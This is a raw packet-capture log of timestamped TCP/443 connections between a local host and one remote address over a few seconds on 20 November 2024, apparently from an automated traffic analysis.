Nov 20, 2024 12:58:38.226141930 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.226150990 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.226371050 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.226399899 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.227046013 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.227050066 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.325700045 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.325829029 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.325890064 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.326044083 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.326062918 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.326076984 CET	49865	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.326083899 CET	443	49865	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.329338074 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.329423904 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.329582930 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.329755068 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.329787970 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.334748030 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.334909916 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.335026026 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.335114002 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.335129976 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.335141897 CET	49864	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.335150003 CET	443	49864	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.336477995 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.336873055 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.336900949 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.337594032 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.337604046 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.337852955 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.337905884 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.337992907 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.338084936 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.338100910 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.444248915 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.444291115 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.444365978 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.444403887 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.444437981 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.444647074 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.444663048 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.444678068 CET	49866	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.444684029 CET	443	49866	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.447691917 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.447770119 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.447855949 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.447972059 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.447990894 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.574289083 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.577577114 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.577613115 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.578789949 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.578808069 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.604516029 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.605210066 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.605273962 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.605685949 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.605701923 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.676084042 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.676352978 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.676424026 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.676631927 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.676656008 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.676670074 CET	49867	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.676676989 CET	443	49867	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.679131031 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.679166079 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.679236889 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.679367065 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.679377079 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.710428953 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.710469007 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.710511923 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.710581064 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.710686922 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.710731030 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.710762024 CET	49868	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.710777998 CET	443	49868	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.713534117 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.713571072 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.713641882 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.713799953 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.713815928 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.979763031 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.980395079 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.980432987 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.981015921 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.981028080 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.987946987 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.988284111 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.988312006 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:38.988740921 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:38.988750935 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.081998110 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.083520889 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.086970091 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.087048054 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.087090969 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.087120056 CET	49869	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.087136984 CET	443	49869	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.090404034 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.090498924 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.090496063 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.090606928 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.090702057 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.090770006 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.090795994 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.090799093 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.090842962 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.090842962 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.090882063 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.090908051 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.093334913 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.093377113 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.093462944 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.093621969 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.093636036 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.113667011 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.115323067 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.115364075 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.115925074 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.115931988 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.221467972 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.221784115 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.221875906 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.221942902 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.221987009 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.222012997 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.222029924 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.225668907 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.225720882 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.225790977 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.225999117 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.226032972 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.344779015 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.345431089 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.345475912 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.346031904 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.346045017 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.377892017 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.378442049 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.378463030 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.379048109 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.379055023 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.447515965 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.447556973 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.447618961 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.447688103 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.447895050 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.447942972 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.447976112 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.447993040 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.451114893 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.451194048 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.451292992 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.451471090 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.451498985 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.481776953 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.482534885 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.482655048 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.482719898 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.482739925 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.482758045 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.482763052 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.485934973 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.486030102 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.486279964 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.486439943 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.486464024 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.738413095 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.739201069 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.739212990 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.739845991 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.739852905 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.768625975 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.769033909 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.769057035 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.769510031 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.769514084 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.841398001 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.841527939 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.841588974 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.841742992 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.841752052 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.841773987 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.841779947 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.845060110 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.845130920 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.845345020 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.845510006 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.845541000 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.872813940 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.873159885 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.873203993 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.873622894 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.873636961 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.874104977 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.874239922 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.874293089 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.874341011 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.874356985 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.874366999 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.874372959 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.877199888 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.877238989 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.877418995 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.877474070 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.877481937 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.974915028 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.975052118 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.975112915 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.975147009 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.975294113 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.975363970 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.975406885 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.975436926 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.975452900 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.978612900 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.978665113 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:39.978780031 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.978930950 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:39.978950024 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.110387087 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.110934973 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.110970974 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.111537933 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.111551046 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.129669905 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.130084991 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.130115032 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.130515099 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.130546093 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.215850115 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.216028929 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.216154099 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.216392040 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.216392994 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.216428995 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.216453075 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.219460011 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.219517946 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.219590902 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.219743967 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.219760895 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.231362104 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.231633902 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.231705904 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.231780052 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.231801033 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.231812954 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.231820107 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.233846903 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.233889103 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.233959913 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.234070063 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.234092951 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.496979952 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.504076958 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.504125118 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.509211063 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.509226084 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.521387100 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.524744034 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.524769068 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.529644966 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.529661894 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.614851952 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.614979029 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.615041971 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.616456985 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.616482973 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.616497993 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.616506100 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.630153894 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.630356073 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.630395889 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.630413055 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.630453110 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.634004116 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.634035110 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.634048939 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.634056091 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.641083956 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.641115904 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.641165972 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.641369104 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.642404079 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.642415047 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.643155098 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.643172026 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.643856049 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.643861055 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.645090103 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.645128012 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.645188093 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.645545006 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.645556927 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.747805119 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.748047113 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.748097897 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.764230967 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.764245987 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.764257908 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.764264107 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.770778894 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.770821095 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.770888090 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.771047115 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.771060944 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.971901894 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.972429037 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.972456932 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.973074913 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.973086119 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.988606930 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.989398003 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.989419937 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:40.990466118 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:40.990473032 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.070620060 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.070930958 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.071091890 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.071091890 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.071091890 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.074342966 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.074378014 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.074462891 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.074675083 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.074682951 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.091624975 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.092286110 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.092386007 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.092525959 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.092536926 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.092569113 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.092575073 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.095242023 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:41.095282078 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:41.095345974 CET	49888	443	192.168.2.4	13.107.246.45
